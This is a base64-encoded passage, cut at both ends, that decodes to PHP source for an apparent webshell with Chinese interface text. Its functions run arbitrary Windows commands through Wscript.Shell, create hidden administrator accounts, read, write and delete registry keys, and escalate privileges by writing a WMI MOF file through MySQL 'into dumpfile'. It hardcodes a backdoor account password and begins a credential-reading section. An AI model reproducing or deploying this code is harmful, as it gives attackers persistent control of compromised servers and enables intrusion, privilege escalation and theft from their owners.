9Im9mb3JtIj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7lnLDlnYAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPuerr+WPoyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBvcnQiIHZhbHVlPSIzMzA2IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPueUqOaItyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJyb290IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPuWvhueggSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IueZu+mZhiIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IkNPT0tJRSIgc3R5bGU9IndpZHRoOjgwcHg7IiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz9lYW52ZXI9bXlzcWxfbXNnJzsiPjwvZGl2Pgo8L2Zvcm0+CkVORDsKYnJlYWs7IAoJY2FzZSAid2luYXBpIjoKIAogLy9XaW5kb3dz57uE5Lu25o6l5Y+jCi8vZnVuY3Rpb24gd2luc2hlbGwoKQovL3sKJG5vcD0nJm5ic3A7Jm5ic3A7JzsKaWYoJF9HRVRbJ3dpbnNoZWxsJ109PSd3c2NyaXB0Jyl7CiR3Y21kPSRfUE9TVFsnd2NtZCddID8gJF9QT1NUWyd3Y21kJ106J25ldCB1c2VyJzsKJHdjcHRoPSRfUE9TVFsnd2NwdGgnXSA/ICRfUE9TVFsnd2NwdGgnXTonY21kLmV4ZSc7CnByaW50PDw8RU5ECjxkaXYgY2xhc3M9ImFjdGFsbCI+Cjxmb3JtIGFjdGlvbj0iP2VhbnZlcj13aW5hcGkmd2luc2hlbGw9d3NjcmlwdCIgbWV0aG9kPSJQT1NUIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG8iIGlkPSJkbyIgdmFsdWU9ImRvIj48YnI+Cnskbm9wfTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3Y21kIiBpZD0id2NtZCIgdmFsdWU9Inskd2NwdGh9IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gLT4gQ01E6Lev5b6EPGJyIC8+Cnskbm9wfTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3Y21kIiBpZD0id2NtZCIgdmFsdWU9Inskd2NtZH0iIHN0eWxlPSJ3aWR0aDozMDBweDsiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5omn6KGMIiBzdHlsZT0id2lkdGg6ODBweDsiPgo8YnI+PGJyPjxicj48L2Zvcm0+PC9kaXY+CkVORDsKaWYoJF9QT1NUWydkbyddPT0nZG8nKXsKJHd3PSR3Y3B0aC4iIC9jICIuJHdjbWQ7CiRwaHB3c2g9bmV3IENPTSgiV3NjcmlwdC5TaGVsbCIpIG9yIGRpZSgi5Yib5bu6U2hlbGwuV3NjcmlwdOe7hOS7tuWksei0pSIpOwokcGhwZXhlYz0kcGhwd3NoLT5leGVjKCR3dyk7CiRleGVjb3V0cHV0PSR3c2hleGVjLT5zdGRvdXQoKTsKJHJlc3VsdD0kZXhlY291dHB1dC0+cmVhZGFsbCgpOwplY2hvICRyZXN1bHQ7CkAkcGhwd3NoLT5SZWxlYXNlKCk7CiRwaHB3c2g9TlVMTDsKfQp9ZWxzZWlmKCRfR0VUWyd3aW5zaGVsbCddPT0nc2hlbGx1c2VyJyl7CiR3dXNlcj0kX1BPU1RbJ3d1c2VyJ10gPyAkX1BPU1RbJ3d1c2VyJ106J3NpbGljJzsKJHdwYXN3PSRfUE9TVFsnd3Bhc3cnXSA/ICRfUE9TVFsnd3Bhc3cnXTonMTIzNEBzaWxpYyMnOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPgo8Zm9ybSBhY3Rpb249Ij9lYW52ZXI9d2luYXBpJndpbnNoZWxsPXNoZWxsdXNlciIgbWV0aG9kPSJQT1NUIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG8iIGlkPSJkbyIgdmFsdWU9ImRvIj48YnI+ClNoZWxsLlVzZXJz57uE5Lu25re75Yqg566h55CG5ZGYPGJyPjxicj4KeyRub3B95paw5bu655So5oi35ZCN77yaPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ind1c2VyIiBpZD0id3VzZXIiIHZhbHVlPSJ7JHd1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4OyI+PGJyPgp7JG5vcH3mlrDnlKjmiLflr4bnoIHvvJo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bhc3ciIGlkPSJ3cGFzdyIgdmFsdWU9Inskd3Bhc3d9IiBzdHlsZT0id2lkdGg6MTAwcHg7Ij48YnI+PGJyPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5re75YqgIiBzdHlsZT0id2lkdGg6ODBweDsiPgo8YnI+PGJyPjxicj48L2Zvcm0+PC9kaXY+CkVORDsKaWYoJF9QT1NUWydkbyddPSdkbycpewokc2hlbGwgPSBuZXcgQ09NKCJTaGVsbC5Vc2VycyIpOwokY21kID0gJHNoZWxsLT5jcmVhdGUoJHd1c2VyKTsKJGNtZC0+Y2hhbmdlUGFzc3dvcmQoJHdwYXN3LCIiKTsKJGNtZC0+c2V0dGluZ1siQWNjb3VudFR5cGUiXSA9IDM7Cn0KfWVsc2VpZigkX0dFVFsnd2luc2hlbGwnXT09J3JlZ2VkaXQnKXsKCiRzaGVsbDEgPSBuZXcgQ09NKCJ3c2NyaXB0LnNoZWxsIikgb3IgZGllKCJyZXF1aXJlIHdpbmRvd3MgaG9zdCIpOwokYWN0aW9uID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogJyc7ICAKZWNobyAnPGJyPic7CmVjaG8gJzxkaXY+PGg1Puivu+WPliblhpnlhaUm5Yig6Zmk5rOo5YaM6KGoPC9oNT48YnI+PC9kaXY+JzsKZWNobyAnPGJyPic7CnByaW50PDw8RU5ECjxUUj48Zm9ybSAgIGFjdGlvbj0iIiAgIG1ldGhvZD0icG9zdCI+ICAgCjxkaXY+PFREIFdJRFRIPTEwMCBWQUxJR049VE9QIEFMSUdOPUNFTlRFUj4gICAKUnBhdGg6Jm5ic3A8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZWFkIj4gICAKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJwYXRoIiB2YWx1ZT0ieyRycGF0aH0iIHNpemU9IjcwIj4gICAKPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0i6K+75Y+WIj48L2Zvcm0+PC9URD48L1RSPjxicj48YnI+PC9kaXY+ICAgCkVORDsKICAgCiRycGF0aCA9IGlzc2V0KCRfUE9TVFsncnBhdGgnXSkgPyAkX1BPU1RbJ3JwYXRoJ10gOiAnJzsgICAKJHJwYXRoID0gc3RyX3JlcGxhY2UoIlxcXFwiLCAiXFwiLCAkcnBhdGgpOyAgICAgIAppZiAgICgkYWN0aW9uPT0icmVhZCIpewokb3V0ID0gJHNoZWxsMS0+UmVnUmVhZCgkcnBhdGgpOwplY2hvICc8cHJlPicudmFyX2R1bXAoJG91dCkuJzwvcHJlPic7ICAgCmVjaG8gJzxicj48YnI+JzsgIAp9CgpwcmludDw8PEVORAo8VFI+PGZvcm0gICBhY3Rpb249IiIgICBtZXRob2Q9InBvc3QiPiAgIAo8ZGl2PjxURCBXSURUSD0xMDAgVkFMSUdOPVRPUCBBTElHTj1DRU5URVI+V3BhdGg6ICAgICAgCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3cGF0aCIgdmFsdWU9Inskd3BhdGh9IiBzaXplPSI3MCI+PEJSPjxicj4gCld0eXBlOiZuYnNwPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ind0eXBlIiB2YWx1ZT0ieyR3dHlwZX0iIHNpemU9IjIwIj4KV3ZhbHVlOiZuYnNwPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ind2YWx1ZSIgdmFsdWU9Inskd3ZhbHVlfSIgc2l6ZT0iMzAiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSLlhpnlhaUiPiAgCjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IuWGmeWFpSI+PC9mb3JtPjwvVEQ+PC9UUj48YnI+PGJyPjxicj48L2Rpdj4gICAKRU5EOwogICAKJHdwYXRoID0gaXNzZXQoJF9QT1NUWyd3cGF0aCddKSA/ICRfUE9TVFsnd3BhdGgnXSA6ICcnOyAgIAokd3BhdGggPSBzdHJfcmVwbGFjZSgiXFxcXCIsICJcXCIsICR3cGF0aCk7ICAgICAgCiR3dHlwZSA9IGlzc2V0KCRfUE9TVFsnd3R5cGUnXSkgPyAkX1BPU1RbJ3d0eXBlJ10gOiAnJzsKJHd2YWx1ZSA9IGlzc2V0KCRfUE9TVFsnd3ZhbHVlJ10pID8gJF9QT1NUWyd3dmFsdWUnXSA6ICcnOwppZiAgICgkYWN0aW9uPT0id3JpdGUiKXsKJHNoZWxsMS0+UmVnV3JpdGUoJHdwYXRoLCAkd3ZhbHVlLCAkd3R5cGUpOyAgICAgCn0KCnByaW50PDw8RU5ECjxUUj48Zm9ybSAgIGFjdGlvbj0iIiAgIG1ldGhvZD0icG9zdCI+ICAgCjxkaXY+PFREIFdJRFRIPTEwMCBWQUxJR049VE9QIEFMSUdOPUNFTlRFUj4gIApEcGF0aDo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkZWwiPiAgIAo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZHBhdGgiIHZhbHVlPSJ7JGRwYXRofSIgc2l6ZT0iNzAiPiAgIAo8aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSLliKDpmaQiPjwvZm9ybT48L1REPjwvVFI+PGJyPjxicj48L2Rpdj4gICAKRU5EOwogICAKJGRwYXRoID0gaXNzZXQoJF9QT1NUWydkcGF0aCddKSA/ICRfUE9TVFsnZHBhdGgnXSA6ICcnOyAgIAokZHBhdGggPSBzdHJfcmVwbGFjZSgiXFxcXCIsICJcXCIsICRkcGF0aCk7ICAgICAgCmlmICAgKCRhY3Rpb249PSJkZWwiKXsKJG91dCA9ICRzaGVsbDEtPlJlZ0RlbGV0ZSgkZHBhdGgpOyAgCn0gCn1lbHNlewokdGlwPSLmja7mtYvor5XmnKzlip/og73lj6/nlKjnmoTlj6/og73mgKfkuLrkuIfliIbkuYvkuIA8YnI+V2Vic2hlbGzmiYDlnKjmnI3liqHlmajlv4XpobvkuLpXaW5kb3dz57O757ufPGJyPlBIUOaPkOadg+W+iOeBtea0u++8jOS9huS9oOWcqOmdnuW4uOaXoOWliOeahOaXtuWAmeWPr+S7peWwneivleacrOWKn+iDvTxicj48L2g1Pjxicj48YnI+PGJyPiI7CnByaW50PDw8RU5ECjxkaXYgY2xhc3M9ImFjdGFsbCI+PHByZT4KPGJyPjxhIGhyZWY9Ij9lYW52ZXI9d2luYXBpJndpbnNoZWxsPXdzY3JpcHQiPiBbIFdTY3JpcHTnu4Tku7YgXSA8L2E+PGJyPjxicj4KPGg1PuacrOWKn+iDveS9v+eUqFBIUOiwg+eUqFdpbmRvd3Pnu4Tku7bkuK3nmoRXc2NyaXB057uE5Lu244CCPGJyPgpXc2NyaXB05Li66LCD55SoY21k5ZG95Luk57uE5Lu2PGJyPnskdGlwfTxhIGhyZWY9Ij9lYW52ZXI9d2luYXBpJndpbnNoZWxsPXNoZWxsdXNlciI+IFsgU2hlbGwuVXNlcue7hOS7tiBdIDwvYT48YnI+PGJyPgo8aDU+5pys5Yqf6IO95L2/55SoUEhQ6LCD55SoV2luZG93c+e7hOS7tuS4reeahFNoZWxsLnVzZXLnu4Tku7Y8YnI+ClVTRVLnu4Tku7bkuLpXaW5kb3dz57O757uf55So5oi35pON5L2c55u45YWz57uE5Lu2PGJyPnskdGlwfTxhIGhyZWY9Ij9lYW52ZXI9d2luYXBpJndpbnNoZWxsPXJlZ2VkaXQiPiBbIOazqOWGjOihqOaTjeS9nCBdIDwvYT48YnI+PGJyPgo8aDU+5pys5Yqf6IO95L2/55SoUEhQ6LCD55SoV2luZG93c+e7hOS7tuS4reeahFNoZWxsLldzY3JpcHTnu4Tku7Y8YnI+CjxoNT48Zm9udCBjb2xvcj1yZWQ+5pys5Yqf6IO95Y+v6K+75Y+W77yM5YaZ5YWl77yM5Yig6Zmk5rOo5YaM6KGo5pON5L2cPC9mb250PgpSZWdSZWFkKCnlh73mlbDor7vlj5bns7vnu5/ms6jlhozooajlhoXlrrk8YnI+eyR0aXB9PC9wcmU+PC9kaXY+CkVORDsKfQovL30KYnJlYWs7CiAKY2FzZSAibW9mc2hlbGwiOgogc2Vzc2lvbl9zdGFydCgpOwppZighZW1wdHkoJF9QT1NUWydzdWJtaXQnXSkpewpzZXRjb29raWUoImNvbm5lY3QiKTsKc2V0Y29va2llKCJjb25uZWN0W2hvc3RdIiwkX1BPU1RbJ2hvc3QnXSk7CnNldGNvb2tpZSgiY29ubmVjdFt1c2VyXSIsJF9QT1NUWyd1c2VyJ10pOwpzZXRjb29raWUoImNvbm5lY3RbcGFzc10iLCRfUE9TVFsncGFzcyddKTsKc2V0Y29va2llKCJjb25uZWN0W2RibmFtZV0iLCRfUE9TVFsnZGJuYW1lJ10pOwpzZXRjb29raWUoImNvbm5lY3RbcGF0aF0iLCRfUE9TVFsncGF0aCddKTsKZWNobyAiPHNjcmlwdD5sb2NhdGlvbi5ocmVmPSc/ZWFudmVyPW1vZnNoZWxsJmFjdGlvbj1jb25uZWN0Jzwvc2NyaXB0PiI7Cn0KaWYoZW1wdHkoJF9HRVRbImFjdGlvbiJdKSl7IAplY2hvICI8Zm9ybSBhY3Rpb249Jz9lYW52ZXI9bW9mc2hlbGwmYWN0aW9uPWNvbm5lY3QnIG1ldGhvZD0ncG9zdCc+IjsKZWNobyAiaXA6IjsKZWNobyAiPGRpdiBjbGFzcz0nYWN0YWxsJz48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naG9zdCcgdmFsdWU9J2xvY2FsaG9zdDozMzA2Jz48YnIvPjwvZGl2PiI7CmVjaG8gIuW4kOaItzoiOwplY2hvICI8ZGl2IGNsYXNzPSdhY3RhbGwnPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0ncm9vdCc+PGJyLz48L2Rpdj4iOwplY2hvICLlr4bnoIE6IjsKZWNobyAiPGRpdiBjbGFzcz0nYWN0YWxsJz48aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnIHZhbHVlPScxMjM0NTYnPjxici8+PC9kaXY+IjsKZWNobyAi5bqT5ZCNOiI7CmVjaG8gIjxkaXYgY2xhc3M9J2FjdGFsbCc+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RibmFtZScgdmFsdWU9J215c3FsJz48YnIvPjwvZGl2PiI7CmVjaG8gIuWPr+WGmeebruW9lSgnJ3NhdmVmaWxlJyfmmK/mlofku7blkI0pOiI7CmVjaG8gIjxkaXYgY2xhc3M9J2FjdGFsbCc+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BhdGgnIHZhbHVlPSdjOi9yZWN5Y2xlci9zYXZlZmlsZSc+PGJyLz48L2Rpdj4iOwplY2hvICI8ZGl2IGNsYXNzPSdhY3RhbGwnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J+aPkOS6pCc+PGJyLz48L2Rpdj4iOwplY2hvICI8L2Zvcm0+IjsKZWNobyAiPGRpdiBjbGFzcz0nYWN0YWxsJz5wczptb2bmj5DmnYPpgILnlKjkuo53aW5kb3dz5pyN5Yqh5ZmoPGJyPjE6bW9m5o+Q5p2D5L6d6Z2gd3NjcmlwdC5zaGVsbOe7hOW7uuaJp+ihjOWRveS7pOWSjHNoZWxsLnVzZXJz5Yqg55So5oi3PGJyPjI65Zue5pi+5ZG95Luk5pyJ5pe25LiN5Y+v55So77yM5L2G5LiN5b2x5ZON5omn6KGM5pWI5p6cPGJyPjM65pys5Yqf6IO95pSv5oyBd3NjcmlwdC5zaGVsbOWSjHNoZWxsLnVzZXLlj4zph43mj5DmnYM8YnI+NDrmiafooYzlrozmr5XlkI7or7fnrYnlvoXkupvml7bpl7Tlho3mn6XnnIvnu5Pmnpw8YnI+NToy56eN5pa55byP5LiN6IO95ZCM5LiA5pe26Ze05omn6KGM77yM6K+36ICQ5b+D562J5b6F57uT5p6c5ZCO5YaN5omn6KGM5YW25LuW5Yqf6IO9PGJyPjxicj7kuI3lgZzliqDluJDmiLfop6PlhrPlip7ms5U6PGJyPiI7CmVjaG8gIgrnrKzkuIAgbmV0IHN0b3Agd2lubWdtdCDlgZzmraLmnI3liqHvvIw8YnI+CuesrOS6jCDliKDpmaTmlofku7blpLnvvJpDOlxXSU5ET1dTXHN5c3RlbTMyXHdiZW1cUmVwb3NpdG9yeVw8YnI+CuesrOS4iSBuZXQgc3RhcnQgd2lubWdtdCDlkK/liqjmnI3liqE8YnI+CuesrOWbm++8muWujOavleS4jeS8muWcqOaJp+ihjOS6huOAgjxicj4KQzpcV0lORE9XU1xzeXN0ZW0zMlx3YmVtXFJlcG9zaXRvcnlcIOaUvueahOaYr+WCqOWtmOW6k+OAgOaIkeS7rOaJp+ihjOeahC5tb2bpg73kvJrooqvliqDlhaXliLDov5nkuKrlupPkuobjgII8YnI+CueEtuWQjuS4gOebtOaMieiEmuacrOiuvue9rueahOaXtumXtOaJp+ihjOOAguOAgjxicj4K5Yig6Zmk5ZCO44CA6YeN5paw5ZCv5Yqo44CA5Lya6YeN5bu65Liq6buY6K6k5YKo5a2Y5bqT44CA6L+Z5qC35oiR5Lus5YWI5YmN5omn6KGMbW9m5bCx5rKh5LqG44CCPC9kaXY+IjsKZXhpdDsKfQppZiAoJF9HRVRbYWN0aW9uXT09J2Nvbm5lY3QnKQp7CiRjb25uPW15c3FsX2Nvbm5lY3QoJF9DT09LSUVbImNvbm5lY3QiXVsiaG9zdCJdLCRfQ09PS0lFWyJjb25uZWN0Il1bInVzZXIiXSwkX0NPT0tJRVsiY29ubmVjdCJdWyJwYXNzIl0pICBvciBkaWUoJzxwcmU+Jy5teXNxbF9lcnJvcigpLic8L3ByZT4nKTsKZWNobyAiPGZvcm0gYWN0aW9uPScnIG1ldGhvZD0ncG9zdCc+IjsKZWNobyAiPGRpdiBjbGFzcz0nYWN0YWxsJz5DbWQ6IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDo0MDAnIG5hbWU9J2NtZCcgdmFsdWU9JyRzdHJDbWQnPz48L2Rpdj4iOwplY2hvICI8ZGl2IGNsYXNzPSdhY3RhbGwnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgIHdzY3JpcHTmiafooYzlkb3ku6QgICc+IjsKZWNobyAiPC9mb3JtPjxicj48YnI+IjsKCmVjaG8gIjxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2ZsYWcnIHZhbHVlPSdmbGFnJz4iOwplY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0J3ZhbHVlPSfor7vlj5Z3c2NyaXB05omn6KGM57uT5p6cJz48L2Rpdj4iOwplY2hvICI8L2Zvcm0+IjsKCmVjaG8gIjxocj4iOwogCmVjaG8gIjxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NoZWxsdXNlcicgdmFsdWU9J3NoZWxsdXNlcic+IjsKZWNobyAiPGRpdiBjbGFzcz0nYWN0YWxsJz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nIHNoZWxsdXNlcua3u+WKoOW4kOaItyAgJz48L2Rpdj4iOwplY2hvICI8L2Zvcm0+IjsgCmlmIChpc3NldCgkX1BPU1RbJ2NtZCddKSl7CiRzdHJDbWQ9JF9QT1NUWydjbWQnXTsKJGNtZHNoZWxsPSdjbWQgL2MgJy4kc3RyQ21kLic+Jy4kX0NPT0tJRVsiY29ubmVjdCJdWyJwYXRoIl07CiRtb2ZuYW1lPSJjOi93aW5kb3dzL3N5c3RlbTMyL3diZW0vbW9mL3N5c3RlbS5tb2YiOwokcGF5bG9hZCA9ICIjcHJhZ21hIG5hbWVzcGFjZShcIlxcXFxcXFxcXFxcXFxcXFwuXFxcXFxcXFxyb290XFxcXFxcXFxzdWJzY3JpcHRpb25cIikKIAppbnN0YW5jZSBvZiBfX0V2ZW50RmlsdGVyIGFzIFwkRXZlbnRGaWx0ZXIKewogIEV2ZW50TmFtZXNwYWNlID0gXCJSb290XFxcXFxcXFxDaW12MlwiOwogIE5hbWUgID0gXCJmaWx0UDJcIjsKICBRdWVyeSA9IFwiU2VsZWN0ICogRnJvbSBfX0luc3RhbmNlTW9kaWZpY2F0aW9uRXZlbnQgXCIKICAgICAgXCJXaGVyZSBUYXJnZXRJbnN0YW5jZSBJc2EgXFxcXFwiV2luMzJfTG9jYWxUaW1lXFxcXFwiIFwiCiAgICAgIFwiQW5kIFRhcmdldEluc3RhbmNlLlNlY29uZCA9IDVcIjsKICBRdWVyeUxhbmd1YWdlID0gXCJXUUxcIjsKfTsKIAppbnN0YW5jZSBvZiBBY3RpdmVTY3JpcHRFdmVudENvbnN1bWVyIGFzIFwkQ29uc3VtZXIKewogIE5hbWUgPSBcImNvbnNQQ1NWMlwiOwogIFNjcmlwdGluZ0VuZ2luZSA9IFwiSlNjcmlwdFwiOwogIFNjcmlwdFRleHQgPQogIFwidmFyIFdTSCA9IG5ldyBBY3RpdmVYT2JqZWN0KFxcXFxcIldTY3JpcHQuU2hlbGxcXFxcXCIpXFxcXG5XU0gucnVuKFxcXFxcIiRjbWRzaGVsbFxcXFxcIilcIjsKIH07CiAKaW5zdGFuY2Ugb2YgX19GaWx0ZXJUb0NvbnN1bWVyQmluZGluZwp7CiAgQ29uc3VtZXIgPSBcJENvbnN1bWVyOwogIEZpbHRlciA9IFwkRXZlbnRGaWx0ZXI7Cn07IjsKbXlzcWxfc2VsZWN0X2RiKCRfQ09PS0lFWyJjb25uZWN0Il1bImRibmFtZSJdLCRjb25uKTsKJHNxbDE9InNlbGVjdCAnJHBheWxvYWQnIGludG8gZHVtcGZpbGUgJyRtb2ZuYW1lJzsiOwppZihteXNxbF9xdWVyeSgkc3FsMSkpCiAgZWNobyAiPGhyPuaJp+ihjOWujOavlSE8YnI+IOivt+eCueWHu1wi6K+75Y+Wd3NjcmlwdOaJp+ihjOe7k+aenFwi5p+l55yL57uT5p6cISE8YnI+5LiN5oiQ5Yqf5aSa5omn6KGM5Yeg5qyh44CCPGJyPnBzOndzY3JpcHTmiafooYzpnIDopoF3c2NyaXB0LnNoZWxs57uE5bu65a2Y5Zyo44CCPGhyPiI7IGVsc2UgZGllKG15c3FsX2Vycm9yKCkpOwogbXlzcWxfY2xvc2UoJGNvbm4pOwp9CiAKaWYoaXNzZXQoJF9QT1NUWydmbGFnJ10pKQp7CiAgJGNvbm49bXlzcWxfY29ubmVjdCgkX0NPT0tJRVsiY29ubmVjdCJdWyJob3N0Il0sJF9DT09LSUVbImNvbm5lY3QiXVsidXNlciJdLCRfQ09PS0lFWyJjb25uZWN0Il1bInBhc3MiXSkgIG9yIGRpZSgnPHByZT4nLm15c3FsX2Vycm9yKCkuJzwvcHJlPicpOwogICAkc3FsMj0ic2VsZWN0IGxvYWRfZmlsZShcIiIuJF9DT09LSUVbImNvbm5lY3QiXVsicGF0aCJdLiJcIik7IjsKICAkcmVzdWx0Mj1teXNxbF9xdWVyeSgkc3FsMik7CiAgJG51bT1teXNxbF9udW1fcm93cygkcmVzdWx0Mik7CiAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0MiwgTVlTUUxfTlVNKSkgewogICAgZWNobyAiPGhyLz4iOwogICAgZWNobyAnPHByZT4nLiAkcm93WzBdLic8L3ByZT4nOwogIH0KICBteXNxbF9jbG9zZSgkY29ubik7Cn0KCgoKaWYgKGlzc2V0KCRfUE9TVFsnc2hlbGx1c2VyJ10pKXsKCiRtb2ZuYW1lPSJjOi93aW5kb3dzL3N5c3RlbTMyL3diZW0vbW9mL3N5c3RlbS5tb2YiOwoKJHBheWxvYWQgPSAiI3ByYWdtYSBuYW1lc3BhY2UoXCJcXFxcXFxcXFxcXFxcXFxcLlxcXFxcXFxccm9vdFxcXFxcXFxcc3Vic2NyaXB0aW9uXCIpCiAKaW5zdGFuY2Ugb2YgX19FdmVudEZpbHRlciBhcyBcJEV2ZW50RmlsdGVyCnsKICBFdmVudE5hbWVzcGFjZSA9IFwiUm9vdFxcXFxcXFxcQ2ltdjJcIjsKICBOYW1lICA9IFwiZmlsdFAyXCI7CiAgUXVlcnkgPSBcIlNlbGVjdCAqIEZyb20gX19JbnN0YW5jZU1vZGlmaWNhdGlvbkV2ZW50IFwiCiAgICAgIFwiV2hlcmUgVGFyZ2V0SW5zdGFuY2UgSXNhIFxcXFxcIldpbjMyX0xvY2FsVGltZVxcXFxcIiBcIgogICAgICBcIkFuZCBUYXJnZXRJbnN0YW5jZS5TZWNvbmQgPSA1XCI7CiAgUXVlcnlMYW5ndWFnZSA9IFwiV1FMXCI7Cn07CiAKaW5zdGFuY2Ugb2YgQWN0aXZlU2NyaXB0RXZlbnRDb25zdW1lciBhcyBcJENvbnN1bWVyCnsKICBOYW1lID0gXCJjb25zUENTVjJcIjsKICBTY3JpcHRpbmdFbmdpbmUgPSBcIkpTY3JpcHRcIjsKICBTY3JpcHRUZXh0ID0gIApcInZhciBXU0ggPSBuZXcgQWN0aXZlWE9iamVjdChcXFxcXCJTaGVsbC5Vc2Vyc1xcXFxcIilcXFxcbno9V1NILmNyZWF0ZShcXFxcXCJNb2ZOZXdVc2VyXFxcXFwiKVxcXFxuei5jaGFuZ2VQYXNzd29yZChcXFxcXCJBU0RmZzEyMyFAIy4uLlxcXFxcIiwgXFxcXFwiXFxcXFwiKVxcXFxuei5zZXR0aW5nKFxcXFxcIkFjY291bnRUeXBlXFxcXFwiKT0zXCI7CiB9OwogCmluc3RhbmNlIG9mIF9fRmlsdGVyVG9Db25zdW1lckJpbmRpbmcKewogIENvbnN1bWVyID0gXCRDb25zdW1lcjsKICBGaWx0ZXIgPSBcJEV2ZW50RmlsdGVyOwp9OyI7CgpteXNxbF9zZWxlY3RfZGIoJF9DT09LSUVbImNvbm5lY3QiXVsiZGJuYW1lIl0sJGNvbm4pOwokc3FsMT0ic2VsZWN0ICckcGF5bG9hZCcgaW50byBkdW1wZmlsZSAnJG1vZm5hbWUnOyI7CmlmKG15c3FsX3F1ZXJ5KCRzcWwxKSkKICBlY2hvICI8aHI+5omn6KGM5re75Yqg5a6M5q+VLOW4kOaIt++8mk1vZk5ld1VzZXIg5a+G56CB77yaQVNEZmcxMjMhQCMuLi4gICAgPGJyPnBzOlNoZWxsVXNlcua3u+WKoOaXoOWbnuaYvuWKn+iDvSzor7c15YiG6ZKf5ZCO6Ieq6KGM5p+l55yL57uT5p6cPGhyPiI7IGVsc2UgZGllKG15c3FsX2Vycm9yKCkpOwogbXlzcWxfY2xvc2UoJGNvbm4pOwoKfQp9CmJyZWFrOwoKCmNhc2UgInJlYWRwYXNzIjoKaWYoaXNzZXQoJF9QT1NUWydzdWInXSkpewokbmFtZT0kX1BPU1RbJ25hbWUnXTsKJHBhc3M9JF9QT1NUWydwYXNzd29yZCddOwokaG9zdD0kX1BPU1RbJ2hvc3QnXTsKJGRiPSRfUE9TVFsnZGInXTsKJGxpbmsgPSBteXNxbF9jb25uZWN0KCRob3N0LCRuYW1lLCRwYXNzKTsKaWYoIWxpbmspewpkaWUoImNvdWxkIG5vdCBjb25uZWN0Ii5teXNxbF9lcnJvcigpKTsKfQoKaWYoIW15c3FsX3NlbGVjdF9kYigkZGIsJGxpbmspKXsKCWRpZSgiZGIiLm15c3FsX2Vycm9yKCkpOwp9CgokZGJfcGF0aF9zcWw9InNlbGVjdCBAQGJhc2VkaXIiOwppZigkbj1teXNxbF9xdWVyeSgkZGJfcGF0aF9zcWwpKXsKCSRkYl9wYXRoX3JzPW15c3FsX2ZldGNoX2FycmF5KCRuKTsKCSAkZGJfcGF0aD1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkZGJfcGF0aF9yc1swXSk7Cn0KJGRyb3Btb29uPSdEUk9QIHRhYmxlIG1vb24nOwokc3FsPSJDUkVBVEUgVEFCTEUgbW9vbiAoYGNvZGVgIFRFWFQgTk9UIE5VTEwgKSBF